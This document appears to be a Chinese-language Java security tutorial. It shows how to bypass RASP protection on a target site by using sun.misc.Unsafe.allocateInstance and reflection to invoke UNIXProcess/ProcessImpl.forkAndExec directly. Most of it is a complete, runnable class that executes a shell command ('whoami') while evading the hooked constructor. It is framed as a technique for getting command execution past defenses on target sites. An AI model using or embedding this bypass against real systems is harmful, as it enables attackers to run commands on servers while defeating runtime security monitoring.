0x01 前言
例如说现在目标站点上有RASP限制了UNIXProcess/ProcessImpl
类的构造方法导致我们无法执行本地命令
那么这个时候通过 sun.misc.Unsafe
类的 allocateInstance()
即可完成绕过
换个简单的例子:
例如现在有个CmdTest
类因为某种原因我们不能直接通过反射的方式去创建这个类
那么这种时候就可以通过 sun.misc.Unsafe
类的 allocateInstance()
即可完成绕过
# 例如的CmdTest代码片段
public class CmdTest {
private CmdTest() {
// 假设RASP在此处插入了Hook代码
System.out.println("init...");
}
}
# 使用 Unsafe 创建 CmdTest 对象的方法:
CmdTest test = (CmdTest) unsafe.allocateInstance(CmdTest.class);
0x02 例子-通过allocateInstance类+反射绕过RASP
package UnsafeTest;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Test3 {
public static void main(String[] args) throws Exception {
// 要执行的命令
String[] cmd = {"whoami"};
InputStream in = exec(cmd);
String result = inputStreamToString(in, "UTF-8");
System.out.println(result);
}
public static InputStream exec(String[] strs) throws Exception {
String UNIXProcessClass = "java.lang.UNIXProcess";
String ProcessImplClass = "java.lang.ProcessImpl";
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
// 反射创建UNIXProcess或者ProcessImpl
Class processClass = null;
try {
processClass = Class.forName(UNIXProcessClass);
} catch (ClassNotFoundException e) {
processClass = Class.forName(ProcessImplClass);
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
return in;
}
private static byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public static String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
}